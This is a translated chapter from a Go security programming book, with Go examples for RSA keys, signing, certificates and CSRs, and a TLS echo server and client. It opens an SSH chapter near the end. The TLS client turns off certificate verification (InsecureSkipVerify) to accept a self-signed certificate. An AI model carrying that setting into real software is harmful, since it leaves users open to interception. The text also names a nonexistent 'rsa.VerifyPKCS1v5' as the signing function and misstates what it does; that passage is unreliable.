这里的示例将使用 RSA 密钥。我们将介绍如何生成自己的公钥和私钥并将它们保存为 PEM 编码文件,数字签名消息并验证签名。在接下来的部分中,我们将使用这些密钥创建自签名证书并建立安全的 TLS 连接。
生成公钥和私钥对
在使用非对称加密之前,你需要一个公钥和私钥对。私钥必须保密,不能与任何人共享。公钥应该与他人共享。
RSA(Rivest-Shamir-Adleman)和 ECDSA(椭圆曲线数字签名算法)算法在 Go 标准库中可用。ECDSA 被认为更安全,但 RSA 是 SSL 证书中最常用的算法。
你可以选择为你的私钥设置密码保护。虽然不是必需的,但它提供了一层额外的安全保障。由于私钥非常敏感,建议使用密码保护。
如果你希望使用对称加密算法(如 AES)来为你的私钥文件设置密码保护,可以使用一些标准库函数。你需要使用的主要函数是 x509.EncryptPEMBlock()、x509.DecryptPEMBlock() 和 x509.IsEncryptedPEMBlock()。
要执行相当于使用 OpenSSL 生成私钥和公钥文件的操作,请使用以下命令:
# Generate the private key
openssl genrsa -out priv.pem 2048
# Extract the public key from the private key
openssl rsa -in priv.pem -pubout -out public.pem
你可以通过 golang.org/pkg/encoding/pem/ 了解更多关于 Go 中 PEM 编码的内容。参考以下代码:
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/pem"
"fmt"
"log"
"os"
"strconv"
)
func printUsage() {
fmt.Printf(os.Args[0] + `
Generate a private and public RSA keypair and save as PEM files.
If no key size is provided, a default of 2048 is used.
Usage:
` + os.Args[0] + ` <private_key_filename> <public_key_filename> [keysize]
Examples:
# Store generated private and public key in privkey.pem and pubkey.pem
` + os.Args[0] + ` priv.pem pub.pem
` + os.Args[0] + ` priv.pem pub.pem 4096`)
}
func checkArgs() (string, string, int) {
// Too many or too few arguments
if len(os.Args) < 3 || len(os.Args) > 4 {
printUsage()
os.Exit(1)
}
defaultKeySize := 2048
// If there are 2 args provided, privkey and pubkey filenames
if len(os.Args) == 3 {
return os.Args[1], os.Args[2], defaultKeySize
}
// If 3 args provided, privkey, pubkey, keysize
if len(os.Args) == 4 {
keySize, err := strconv.Atoi(os.Args[3])
if err != nil {
printUsage()
fmt.Println("Invalid keysize. Try 1024 or 2048.")
os.Exit(1)
}
return os.Args[1], os.Args[2], keySize
}
return "", "", 0 // Default blank return catch-all
}
// Encode the private key as a PEM file
// PEM is a base-64 encoding of the key
func getPrivatePemFromKey(privateKey *rsa.PrivateKey) *pem.Block {
encodedPrivateKey := x509.MarshalPKCS1PrivateKey(privateKey)
var privatePem = &pem.Block {
Type: "RSA PRIVATE KEY",
Bytes: encodedPrivateKey,
}
return privatePem
}
// Encode the public key as a PEM file
func generatePublicPemFromKey(publicKey rsa.PublicKey) *pem.Block {
encodedPubKey, err := x509.MarshalPKIXPublicKey(&publicKey)
if err != nil {
log.Fatal("Error marshaling PKIX pubkey. ", err)
}
// Create a public PEM structure with the data
var publicPem = &pem.Block{
Type: "PUBLIC KEY",
Bytes: encodedPubKey,
}
return publicPem
}
func savePemToFile(pemBlock *pem.Block, filename string) {
// Save public pem to file
publicPemOutputFile, err := os.Create(filename)
if err != nil {
log.Fatal("Error opening pubkey output file. ", err)
}
defer publicPemOutputFile.Close()
err = pem.Encode(publicPemOutputFile, pemBlock)
if err != nil {
log.Fatal("Error encoding public PEM. ", err)
}
}
// Generate a public and private RSA key in PEM format
func main() {
privatePemFilename, publicPemFilename, keySize := checkArgs()
// Generate private key
privateKey, err := rsa.GenerateKey(rand.Reader, keySize)
if err != nil {
log.Fatal("Error generating private key. ", err)
}
// Encode keys to PEM format
privatePem := getPrivatePemFromKey(privateKey)
publicPem := generatePublicPemFromKey(privateKey.PublicKey)
// Save the PEM output to files
savePemToFile(privatePem, privatePemFilename)
savePemToFile(publicPem, publicPemFilename)
// Print the public key to STDOUT for convenience
fmt.Printf("%s", pem.EncodeToMemory(publicPem))
}
数字签名消息
签名消息的目的是让收件人知道消息来自正确的人。要签名一条消息,首先生成消息的哈希值,然后使用你的私钥对哈希值进行加密。加密后的哈希值就是你的签名。
收件人会解密你的签名,得到你提供的原始哈希值,然后他们会对消息进行哈希处理,查看自己生成的哈希值是否与解密后的签名值匹配。如果匹配,收件人就知道签名是有效的,并且来自正确的发送者。
请注意,签名一条消息并不会真正加密该消息。如果需要,你仍然需要在发送消息之前对其进行加密。如果你希望公开发布消息,可能不需要加密消息本身。其他人仍然可以使用签名来验证消息的发布者。
只有小于 RSA 密钥大小的消息才能被签名。由于 SHA-256 哈希始终具有相同的输出长度,我们可以确保它在可接受的大小限制内。在此示例中,我们使用的是 RSA PKCS#1 v1.5 标准签名和 SHA-256 哈希方法。
Go 编程语言自带了用于处理签名和验证的核心包函数。主要的函数是rsa.VerifyPKCS1v5。该函数负责对消息进行哈希处理,然后使用私钥进行加密。
以下程序将接收一条消息和一个私钥,并将签名输出到STDOUT:
package main
import (
"crypto"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"log"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + `
Cryptographically sign a message using a private key.
Private key should be a PEM encoded RSA key.
Signature is generated using SHA256 hash.
Output signature is stored in filename provided.
Usage:
` + os.Args[0] + ` <privateKeyFilename> <messageFilename> <signatureFilename>
Example:
# Use priv.pem to encrypt msg.txt and output to sig.txt.256
` + os.Args[0] + ` priv.pem msg.txt sig.txt.256
`)
}
// Get arguments from command line
func checkArgs() (string, string, string) {
// Need exactly 3 arguments provided
if len(os.Args) != 4 {
printUsage()
os.Exit(1)
}
// Private key file name and message file name
return os.Args[1], os.Args[2], os.Args[3]
}
// Cryptographically sign a message= creating a digital signature
// of the original message. Uses SHA-256 hashing.
func signMessage(privateKey *rsa.PrivateKey, message []byte) []byte {
hashed := sha256.Sum256(message)
signature, err := rsa.SignPKCS1v15(
rand.Reader,
privateKey,
crypto.SHA256,
hashed[:],
)
if err != nil {
log.Fatal("Error signing message. ", err)
}
return signature
}
// Load the message that will be signed from file
func loadMessageFromFile(messageFilename string) []byte {
fileData, err := ioutil.ReadFile(messageFilename)
if err != nil {
log.Fatal(err)
}
return fileData
}
// Load the RSA private key from a PEM encoded file
func loadPrivateKeyFromPemFile(privateKeyFilename string) *rsa.PrivateKey {
// Quick load file to memory
fileData, err := ioutil.ReadFile(privateKeyFilename)
if err != nil {
log.Fatal(err)
}
// Get the block data from the PEM encoded file
block, _ := pem.Decode(fileData)
if block == nil || block.Type != "RSA PRIVATE KEY" {
log.Fatal("Unable to load a valid private key.")
}
// Parse the bytes and put it in to a proper privateKey struct
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
log.Fatal("Error loading private key.", err)
}
return privateKey
}
// Save data to file
func writeToFile(filename string, data []byte) error {
// Open a new file for writing only
file, err := os.OpenFile(
filename,
os.O_WRONLY|os.O_TRUNC|os.O_CREATE,
0666,
)
if err != nil {
return err
}
defer file.Close()
// Write bytes to file
_, err = file.Write(data)
if err != nil {
return err
}
return nil
}
// Sign a message using a private RSA key
func main() {
// Get arguments from command line
privateKeyFilename, messageFilename, sigFilename := checkArgs()
// Load message and private key files from disk
message := loadMessageFromFile(messageFilename)
privateKey := loadPrivateKeyFromPemFile(privateKeyFilename)
// Cryptographically sign the message
signature := signMessage(privateKey, message)
// Output to file
writeToFile(sigFilename, signature)
}
验证签名
在上一个示例中,我们学习了如何为收件人创建一条消息的签名以供验证。现在让我们看看验证签名的过程。
如果你收到一条消息和一个签名,你必须先使用发送方的公钥解密签名。然后对原始消息进行哈希,检查你的哈希值是否与解密后的签名匹配。如果你的哈希值与解密后的签名匹配,那么你可以确定发送方是拥有与你用来验证的公钥配对的私钥的那个人。
为了验证签名,我们使用与创建签名时相同的算法(RSA PKCS#1 v1.5 和 SHA-256)。
这个示例需要两个命令行参数。第一个参数是创建签名的人的公钥,第二个参数是包含签名的文件。要创建签名文件,可以使用之前示例中的 sign 程序并将输出重定向到一个文件。
与上一节类似,Go 的标准库中有一个用于验证签名的函数。我们可以使用rsa.VerifyPKCS1v5()来比较消息的哈希值与解密后的签名值,看看它们是否匹配:
package main
import (
"crypto"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"log"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + `
Verify an RSA signature of a message using SHA-256 hashing.
Public key is expected to be a PEM file.
Usage:
` + os.Args[0] + ` <publicKeyFilename> <signatureFilename> <messageFilename>
Example:
` + os.Args[0] + ` pubkey.pem signature.txt message.txt
`)
}
// Get arguments from command line
func checkArgs() (string, string, string) {
// Expect 3 arguments: pubkey, signature, message file names
if len(os.Args) != 4 {
printUsage()
os.Exit(1)
}
return os.Args[1], os.Args[2], os.Args[3]
}
// Returns bool whether signature was verified
func verifySignature(
signature []byte,
message []byte,
publicKey *rsa.PublicKey) bool {
hashedMessage := sha256.Sum256(message)
err := rsa.VerifyPKCS1v15(
publicKey,
crypto.SHA256,
hashedMessage[:],
signature,
)
if err != nil {
log.Println(err)
return false
}
return true // If no error, match.
}
// Load file to memory
func loadFile(filename string) []byte {
fileData, err := ioutil.ReadFile(filename)
if err != nil {
log.Fatal(err)
}
return fileData
}
// Load a public RSA key from a PEM encoded file
func loadPublicKeyFromPemFile(publicKeyFilename string) *rsa.PublicKey {
// Quick load file to memory
fileData, err := ioutil.ReadFile(publicKeyFilename)
if err != nil {
log.Fatal(err)
}
// Get the block data from the PEM encoded file
block, _ := pem.Decode(fileData)
if block == nil || block.Type != "PUBLIC KEY" {
log.Fatal("Unable to load valid public key. ")
}
// Parse the bytes and store in a public key format
publicKey, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
log.Fatal("Error loading public key. ", err)
}
return publicKey.(*rsa.PublicKey) // Cast interface to PublicKey
}
// Verify a cryptographic signature using RSA PKCS#1 v1.5 with SHA-256
// and a PEM encoded PKIX public key.
func main() {
// Parse command line arguments
publicKeyFilename, signatureFilename, messageFilename :=
checkArgs()
// Load all the files from disk
publicKey := loadPublicKeyFromPemFile(publicKeyFilename)
signature := loadFile(signatureFilename)
message := loadFile(messageFilename)
// Verify signature
valid := verifySignature(signature, message, publicKey)
if valid {
fmt.Println("Signature verified.")
} else {
fmt.Println("Signature could not be verified.")
}
}
TLS
我们通常不使用 RSA 加密整个消息,因为它只能加密小于密钥大小的消息。解决方案通常是在通信开始时使用小消息,通过 RSA 密钥加密。当建立了安全通道后,它们可以安全地交换共享密钥,然后使用该密钥对其余消息进行对称加密,避免大小限制。这就是 SSL 和 TLS 建立安全通信时所采取的方法。握手过程负责协商在生成和共享对称密钥时使用的加密算法。
生成自签名证书
要使用 Go 创建自签名证书,你需要一对公私密钥。x509 包提供了一个用于创建证书的函数。它需要公钥和私钥,以及一个包含所有信息的证书模板。由于我们是自签名,因此证书模板也将作为根证书进行签名。
每个应用程序可能对自签名证书有不同的处理方式。有些应用程序会在证书是自签名时给出警告,有些会拒绝接受,而另一些则会在不警告的情况下愉快地使用它。当你编写自己的应用程序时,你需要决定是否要验证证书或接受自签名证书。
重要的功能是x509.CreateCertificate(),可以参考 golang.org/pkg/crypto/x509/#CreateCertificate。下面是函数签名:
func CreateCertificate (rand io.Reader, template, parent *Certificate, pub,
priv interface{}) (cert []byte, err error)
本示例将使用私钥生成一个由该私钥签名的证书,并将其以 PEM 格式保存到文件中。一旦创建了自签名证书,你可以将该证书与私钥一起使用来运行安全的 TLS 套接字监听器和 Web 服务器。
为了简便起见,本示例将证书所有者信息和主机名 IP 硬编码为 localhost。这对于在本地机器上测试已经足够。
根据需要修改这些内容,定制值,通过命令行参数输入,或使用标准输入动态获取用户的值,如以下代码块所示:
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509/pkix"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"log"
"math/big"
"net"
"os"
"time"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Generate a self signed TLS certificate
Usage:
` + os.Args[0] + ` <privateKeyFilename> <certOutputFilename> [-ca|--cert-authority]
Example:
` + os.Args[0] + ` priv.pem cert.pem
` + os.Args[0] + ` priv.pem cacert.pem -ca
`)
}
func checkArgs() (string, string, bool) {
if len(os.Args) < 3 || len(os.Args) > 4 {
printUsage()
os.Exit(1)
}
// See if the last cert authority option was passed
isCA := false // Default
if len(os.Args) == 4 {
if os.Args[3] == "-ca" || os.Args[3] == "--cert-authority" {
isCA = true
}
}
// Private key filename, cert output filename, is cert authority
return os.Args[1], os.Args[2], isCA
}
func setupCertificateTemplate(isCA bool) x509.Certificate {
// Set valid time frame to start now and end one year from now
notBefore := time.Now()
notAfter := notBefore.Add(time.Hour * 24 * 365) // 1 year/365 days
// Generate secure random serial number
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
randomNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
log.Fatal("Error generating random serial number. ", err)
}
nameInfo := pkix.Name{
Organization: []string{"My Organization"},
CommonName: "localhost",
OrganizationalUnit: []string{"My Business Unit"},
Country: []string{"US"}, // 2-character ISO code
Province: []string{"Texas"}, // State
Locality: []string{"Houston"}, // City
}
// Create the certificate template
certTemplate := x509.Certificate{
SerialNumber: randomNumber,
Subject: nameInfo,
EmailAddresses: []string{"test@localhost"},
NotBefore: notBefore,
NotAfter: notAfter,
KeyUsage: x509.KeyUsageKeyEncipherment |
x509.KeyUsageDigitalSignature,
// For ExtKeyUsage, default to any, but can specify to use
// only as server or client authentication, code signing, etc
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageAny},
BasicConstraintsValid: true,
IsCA: false,
}
// To create a certificate authority that can sign cert signing
// requests, set these
if isCA {
certTemplate.IsCA = true
certTemplate.KeyUsage = certTemplate.KeyUsage |
x509.KeyUsageCertSign
}
// Add any IP addresses and hostnames covered by this cert
// This example only covers localhost
certTemplate.IPAddresses = []net.IP{net.ParseIP("127.0.0.1")}
certTemplate.DNSNames = []string{"localhost", "localhost.local"}
return certTemplate
}
// Load the RSA private key from a PEM encoded file
func loadPrivateKeyFromPemFile(privateKeyFilename string) *rsa.PrivateKey {
// Quick load file to memory
fileData, err := ioutil.ReadFile(privateKeyFilename)
if err != nil {
log.Fatal("Error loading private key file. ", err)
}
// Get the block data from the PEM encoded file
block, _ := pem.Decode(fileData)
if block == nil || block.Type != "RSA PRIVATE KEY" {
log.Fatal("Unable to load a valid private key.")
}
// Parse the bytes and put it in to a proper privateKey struct
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
log.Fatal("Error loading private key. ", err)
}
return privateKey
}
// Save the certificate as a PEM encoded file
func writeCertToPemFile(outputFilename string, derBytes []byte ) {
// Create a PEM from the certificate
certPem := &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}
// Open file for writing
certOutfile, err := os.Create(outputFilename)
if err != nil {
log.Fatal("Unable to open certificate output file. ", err)
}
pem.Encode(certOutfile, certPem)
certOutfile.Close()
}
// Create a self-signed TLS/SSL certificate for localhost
// with an RSA private key
func main() {
privPemFilename, certOutputFilename, isCA := checkArgs()
// Private key of signer - self signed means signer==signee
privKey := loadPrivateKeyFromPemFile(privPemFilename)
// Public key of signee. Self signing means we are the signer and
// the signee so we can just pull our public key from our private key
pubKey := privKey.PublicKey
// Set up all the certificate info
certTemplate := setupCertificateTemplate(isCA)
// Create (and sign with the priv key) the certificate
certificate, err := x509.CreateCertificate(
rand.Reader,
&certTemplate,
&certTemplate,
&pubKey,
privKey,
)
if err != nil {
log.Fatal("Failed to create certificate. ", err)
}
// Format the certificate as a PEM and write to file
writeCertToPemFile(certOutputFilename, certificate)
}
创建证书签名请求
如果你不想创建自签名证书,你必须创建证书签名请求,并让受信任的证书颁发机构对其进行签名。你可以通过调用 x509.CreateCertificateRequest() 并传递一个包含私钥的 x509.CertificateRequest 对象来创建证书请求。
使用 OpenSSL 执行的等效操作如下:
# Create CSR
openssl req -new -key priv.pem -out csr.pem
# View details to verify request was created properly
openssl req -verify -in csr.pem -text -noout
本示例演示如何创建证书签名请求:
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"io/ioutil"
"log"
"net"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Create a certificate signing request
with a private key.
Private key is expected in PEM format. Certificate valid for localhost only.
Certificate signing request is created using the SHA-256 hash.
Usage:
` + os.Args[0] + ` <privateKeyFilename> <csrOutputFilename>
Example:
` + os.Args[0] + ` priv.pem csr.pem
`)
}
func checkArgs() (string, string) {
if len(os.Args) != 3 {
printUsage()
os.Exit(1)
}
// Private key filename, cert signing request output filename
return os.Args[1], os.Args[2]
}
// Load the RSA private key from a PEM encoded file
func loadPrivateKeyFromPemFile(privateKeyFilename string) *rsa.PrivateKey {
// Quick load file to memory
fileData, err := ioutil.ReadFile(privateKeyFilename)
if err != nil {
log.Fatal("Error loading private key file. ", err)
}
// Get the block data from the PEM encoded file
block, _ := pem.Decode(fileData)
if block == nil || block.Type != "RSA PRIVATE KEY" {
log.Fatal("Unable to load a valid private key.")
}
// Parse the bytes and put it in to a proper privateKey struct
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
log.Fatal("Error loading private key.", err)
}
return privateKey
}
// Create a CSR PEM and save to file
func saveCSRToPemFile(csr []byte, filename string) {
csrPem := &pem.Block{
Type: "CERTIFICATE REQUEST",
Bytes: csr,
}
csrOutfile, err := os.Create(filename)
if err != nil {
log.Fatal("Error opening "+filename+" for saving. ", err)
}
pem.Encode(csrOutfile, csrPem)
}
// Create a certificate signing request with a private key
// valid for localhost
func main() {
// Load parameters
privKeyFilename, csrOutFilename := checkArgs()
privKey := loadPrivateKeyFromPemFile(privKeyFilename)
// Prepare information about organization the cert will belong to
nameInfo := pkix.Name{
Organization: []string{"My Organization Name"},
CommonName: "localhost",
OrganizationalUnit: []string{"Business Unit Name"},
Country: []string{"US"}, // 2-character ISO code
Province: []string{"Texas"},
Locality: []string{"Houston"}, // City
}
// Prepare CSR template
csrTemplate := x509.CertificateRequest{
Version: 2, // Version 3, zero-indexed values
SignatureAlgorithm: x509.SHA256WithRSA,
PublicKeyAlgorithm: x509.RSA,
PublicKey: privKey.PublicKey,
Subject: nameInfo,
// Subject Alternate Name values.
DNSNames: []string{"Business Unit Name"},
EmailAddresses: []string{"test@localhost"},
IPAddresses: []net.IP{},
}
// Create the CSR based off the template
csr, err := x509.CreateCertificateRequest(rand.Reader,
&csrTemplate, privKey)
if err != nil {
log.Fatal("Error creating certificate signing request. ", err)
}
saveCSRToPemFile(csr, csrOutFilename)
}
签署证书请求
在前一个示例中,当生成自签名证书时,我们已经展示了创建签名证书的过程。在自签名示例中,我们只是使用了与签署者和被签署者相同的证书模板。因此没有单独的代码示例。唯一的不同是进行签名的父证书或待签署的证书模板应该替换为一个不同的证书。
这是 x509.CreateCertificate() 的函数定义:
func CreateCertificate(rand io.Reader, template, parent *Certificate, pub,
priv interface{}) (cert []byte, err error)
在自签名示例中,模板和父证书是相同的对象。要签署证书请求,创建一个新的证书对象,并用签名请求中的信息填充字段。将新证书作为模板传递,并使用签署者的证书作为父证书。pub 参数是被签署者的公钥,priv 参数是签署者的私钥。签署者是证书颁发机构,而被签署者是请求者。你可以在 golang.org/pkg/crypto/x509/#CreateCertificate 阅读更多关于此函数的内容。
X509.CreateCertificate() 的参数如下:
-
rand:这是一个加密安全的伪随机数生成器。 -
template:这是从 CSR 中填充信息的证书模板。 -
parent:这是签署者的证书。 -
pub:这是被签署者的公钥。 -
priv:这是签署者的私钥。
使用 OpenSSL 执行相同操作如下:
# Create signed certificate using
# the CSR, CA certificate, and private key
openssl x509 -req -in csr.pem -CA cacert.pem \
-CAkey capriv.pem -CAcreateserial \
-out cert.pem -sha256
# Print info about cert
openssl x509 -in cert.pem -text -noout
TLS 服务器
你可以像正常的套接字连接一样设置监听器,但带有加密。只需调用 TLS 的 Listen() 函数,并提供证书和私钥。之前示例中生成的证书和密钥将能正常工作。
以下程序将创建一个 TLS 服务器,回显接收到的任何数据,然后关闭连接。该服务器不需要或验证客户端证书,但为了参考,如果你想使用证书进行客户端身份验证,相关代码已被注释掉:
package main
import (
"bufio"
"crypto/tls"
"fmt"
"log"
"net"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Start a TLS echo server
Server will echo one message received back to client.
Provide a certificate and private key file in PEM format.
Host string in the format: hostname:port
Usage:
` + os.Args[0] + ` <certFilename> <privateKeyFilename> <hostString>
Example:
` + os.Args[0] + ` cert.pem priv.pem localhost:9999
`)
}
func checkArgs() (string, string, string) {
if len(os.Args) != 4 {
printUsage()
os.Exit(1)
}
return os.Args[1], os.Args[2], os.Args[3]
}
// Create a TLS listener and echo back data received by clients.
func main() {
certFilename, privKeyFilename, hostString := checkArgs()
// Load the certificate and private key
serverCert, err := tls.LoadX509KeyPair(certFilename, privKeyFilename)
if err != nil {
log.Fatal("Error loading certificate and private key. ", err)
}
// Set up certificates, host/ip, and port
config := &tls.Config{
// Specify server certificate
Certificates: []tls.Certificate{serverCert},
// By default no client certificate is required.
// To require and validate client certificates, specify the
// ClientAuthType to be one of:
// NoClientCert, RequestClientCert, RequireAnyClientCert,
// VerifyClientCertIfGiven, RequireAndVerifyClientCert)
// ClientAuth: tls.RequireAndVerifyClientCert
// Define the list of certificates you will accept as
// trusted certificate authorities with ClientCAs.
// ClientCAs: *x509.CertPool
}
// Create the TLS socket listener
listener, err := tls.Listen("tcp", hostString, config)
if err != nil {
log.Fatal("Error starting TLS listener. ", err)
}
defer listener.Close()
// Listen forever for connections
for {
clientConnection, err := listener.Accept()
if err != nil {
log.Println("Error accepting client connection. ", err)
continue
}
// Launch a goroutine(thread)go-1.6 to handle each connection
go handleConnection(clientConnection)
}
}
// Function that gets launched in a goroutine to handle client connection
func handleConnection(clientConnection net.Conn) {
defer clientConnection.Close()
socketReader := bufio.NewReader(clientConnection)
for {
// Read a message from the client
message, err := socketReader.ReadString('\n')
if err != nil {
log.Println("Error reading from client socket. ", err)
return
}
fmt.Println(message)
// Echo back the data to the client.
numBytesWritten, err := clientConnection.Write([]byte(message))
if err != nil {
log.Println("Error writing data to client socket. ", err)
return
}
fmt.Printf("Wrote %d bytes back to client.\n", numBytesWritten)
}
}
TLS 客户端
TCP 套接字是网络通信中一种简单且常见的方式。在标准 TCP 套接字上添加 TLS 层,在 Go 的标准库中非常简单。
客户端像标准套接字一样拨打 TLS 服务器。通常客户端不需要任何密钥或证书,但服务器可以实现客户端身份验证,并只允许特定的用户连接。
这个程序将连接到一个 TLS 服务器,并将 STDIN 的内容发送到远程服务器,并读取响应。我们可以使用这个程序来测试我们在上一节中创建的基本 TLS 回显服务器。
在运行此程序之前,请确保上一节中的 TLS 服务器正在运行,以便您可以连接。
请注意,这是一个原始的套接字级别服务器。它不是一个 HTTP 服务器。在第九章 Web 应用程序 中有运行 HTTPS TLS 网络服务器的示例。
默认情况下,客户端会验证服务器的证书是否由受信任的机构签署。我们需要覆盖这个默认设置,并告诉客户端不要验证证书,因为证书是我们自己签署的。受信任的证书机构列表是从系统加载的,但可以通过在 tls.Config 中填充 RootCAs 变量来覆盖。这个示例将不验证服务器证书,但提供了受信任的 RootCAs 列表代码,并为参考注释掉。
你可以通过查看 golang.org/src/crypto/x509/ 中的 root_*.go 文件来了解 Go 如何为每个系统加载证书池。例如,root_windows.go 和 root_linux.go 加载系统的默认证书。
如果你想连接到服务器并检查或存储其证书,你可以连接后检查客户端的 net.Conn.ConnectionState().PeerCertificates。它以标准的 x509.Certificate 结构体形式呈现。要做到这一点,请参考以下代码块:
package main
import (
"crypto/tls"
"fmt"
"log"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Send and receive a message to a TLS server
Usage:
` + os.Args[0] + ` <hostString>
Example:
` + os.Args[0] + ` localhost:9999
`)
}
func checkArgs() string {
if len(os.Args) != 2 {
printUsage()
os.Exit(1)
}
// Host string e.g. localhost:9999
return os.Args[1]
}
// Simple TLS client that sends a message and receives a message
func main() {
hostString := checkArgs()
messageToSend := "Hello?\n"
// Configure TLS settings
tlsConfig := &tls.Config{
// Required to accept self-signed certs
InsecureSkipVerify: true,
// Provide your client certificate if necessary
// Certificates: []Certificate
// ServerName is used to verify the hostname (unless you are
// skipping verification)
// It is also included in the handshake in case the server uses
// virtual hosts Can also just be an IP address
// instead of a hostname.
// ServerName: string,
// RootCAs that you are willing to accept
// If RootCAs is nil, the host's default root CAs are used
// RootCAs: *x509.CertPool
}
// Set up dialer and call the server
connection, err := tls.Dial("tcp", hostString, tlsConfig)
if err != nil {
log.Fatal("Error dialing server. ", err)
}
defer connection.Close()
// Write data to socket
numBytesWritten, err := connection.Write([]byte(messageToSend))
if err != nil {
log.Println("Error writing to socket. ", err)
os.Exit(1)
}
fmt.Printf("Wrote %d bytes to the socket.\n", numBytesWritten)
// Read data from socket and print to STDOUT
buffer := make([]byte, 100)
numBytesRead, err := connection.Read(buffer)
if err != nil {
log.Println("Error reading from socket. ", err)
os.Exit(1)
}
fmt.Printf("Read %d bytes to the socket.\n", numBytesRead)
fmt.Printf("Message received:\n%s\n", buffer)
}
其他加密包
以下部分没有源代码示例,但值得一提。这些由 Go 提供的包是建立在前面示例中展示的原理之上的。
OpenPGP
PGP 代表 Pretty Good Privacy,而 OpenPGP 是标准 RFC 4880。PGP 是一套便捷的加密工具,适用于加密文本、文件、目录和磁盘。所有的原理与前一节讨论的 SSL 和 TLS 密钥/证书相同。加密、签名和验证的方式都是一样的。Go 提供了一个 OpenPGP 包。阅读更多关于它的信息,访问 godoc.org/golang.org/x/crypto/openpgp。
离线记录 (OTR) 消息传递
离线记录 或 OTR 消息传递是一种端到端加密的形式,允许用户通过任何消息媒介加密其通信。它很方便,因为你可以在任何协议上实现加密层,即使该协议本身没有加密。例如,OTR 消息传递可以在 XMPP、IRC 和许多其他聊天协议上运行。许多聊天客户端如 Pidgin、Adium 和 Xabber 都支持 OTR,支持方式有原生支持或通过插件。Go 提供了一个实现 OTR 消息传递的包。阅读更多有关 Go 的 OTR 支持信息,访问 godoc.org/golang.org/x/crypto/otr/。
概述
阅读完本章后,你应该对 Go 的加密包有一个清晰的了解。通过本章中的示例作为参考,你应该能够熟练进行基本的哈希操作、加密、解密、生成密钥以及使用密钥。
此外,你还应该理解对称加密和非对称加密之间的区别,以及它们与哈希的不同。你应该对运行 TLS 服务器和连接 TLS 客户端的基本操作感到熟悉。
记住,目标不是记住每个细节,而是记住有哪些选项可供选择,以便你能为任务选择最佳工具。
在下一章,我们将讨论如何使用安全外壳(SSH)。首先介绍如何使用公钥和私钥对以及密码进行身份验证,并讲解如何验证远程主机的密钥。我们还将探讨如何在远程服务器上执行命令以及如何创建交互式 shell。安全外壳利用了本章中讨论的加密技术。它是加密技术最常见和最实用的应用之一。继续阅读以了解更多关于在 Go 中使用 SSH 的内容。
第七章:安全外壳(SSH)
安全外壳(SSH)是一种用于在不安全网络上进行通信的加密网络协议。SSH 最常见的用途是连接到远程服务器并与 shell 交互。还可以通过 SSH 协议进行文件传输,如 SCP 和 SFTP。SSH 的创建是为了取代明文协议 Telnet。随着时间的推移,有许多 RFC 定义了 SSH。以下是一部分列出的 RFC,以帮助理解其定义。由于它是如此常见和关键的协议,值得花时间了解其详细信息。以下是其中一些 RFC:
-
RFC 4250 (
tools.ietf.org/html/rfc4250): 安全外壳(SSH)协议分配号码 -
RFC 4251 (
tools.ietf.org/html/rfc4251): 安全外壳(SSH)协议架构 -
RFC 4252 (
tools.ietf.org/html/rfc4252): 安全外壳(SSH)身份验证协议 -
RFC 4253 (
tools.ietf.org/html/rfc4253): 安全外壳(SSH)传输层协议 -
RFC 4254 (
tools.ietf.org/html/rfc4254): 安全外壳(SSH)连接协议 -
RFC 4255 (
tools.ietf.org/html/rfc4255): 使用 DNS 安全发布安全外壳(SSH)密钥指纹 -
RFC 4256 (
tools.ietf.org/html/rfc4256): 安全外壳协议(SSH)的通用消息交换认证 -
RFC 4335 (
tools.ietf.org/html/rfc4335): 安全外壳(SSH)会话通道断开扩展 -
RFC 4344 (
tools.ietf.org/html/rfc4344): 安全外壳(SSH)传输层加密模式 -
RFC 4345 (
tools.ietf.org/html/rfc4345): 安全外壳(SSH)传输层协议的改进 Arcfour 模式
后来标准还有其他扩展,您可以在en.wikipedia.org/wiki/Secure_Shell#Standards_documentation上了解更多信息。
SSH 是互联网上常见的暴力破解和默认凭证攻击目标。因此,您可以考虑将 SSH 放在非标准端口上,但仍需将其保留在系统端口(小于 1024),以防止低权限用户在服务崩溃时可能劫持端口。如果保留 SSH 在默认端口上,像fail2ban这样的服务在限制速率和阻止暴力攻击方面将非常有价值。理想情况下,应完全禁用密码身份验证,并要求使用密钥进行身份验证。
SSH 包并未随标准库一起打包,尽管它是由 Go 团队编写的。它是 Go 项目的正式组成部分,但位于 Go 源代码树之外,因此默认情况下不会与 Go 一起安装。它可以从 golang.org/ 获取,并可以使用以下命令安装:
go get golang.org/x/crypto/ssh
本章将介绍如何使用 SSH 客户端连接、执行命令并使用交互式 shell。我们还将介绍不同的身份验证方法,例如使用密码或私钥。SSH 包提供了创建服务器的功能,但本书仅介绍客户端部分。
本章将专门涵盖 SSH 的以下内容:
-
使用密码进行身份验证
-
使用私钥进行身份验证
-
验证远程主机的密钥
-
通过 SSH 执行命令
-
启动交互式 shell
使用 Go SSH 客户端
golang.org/x/crypto/ssh 包提供了与 SSH 版本 2(最新版本)兼容的 SSH 客户端。该客户端可以与 OpenSSH 服务器以及任何遵循 SSH 规范的其他服务器一起使用。它支持传统的客户端功能,如子进程、端口转发和隧道。
身份验证方法
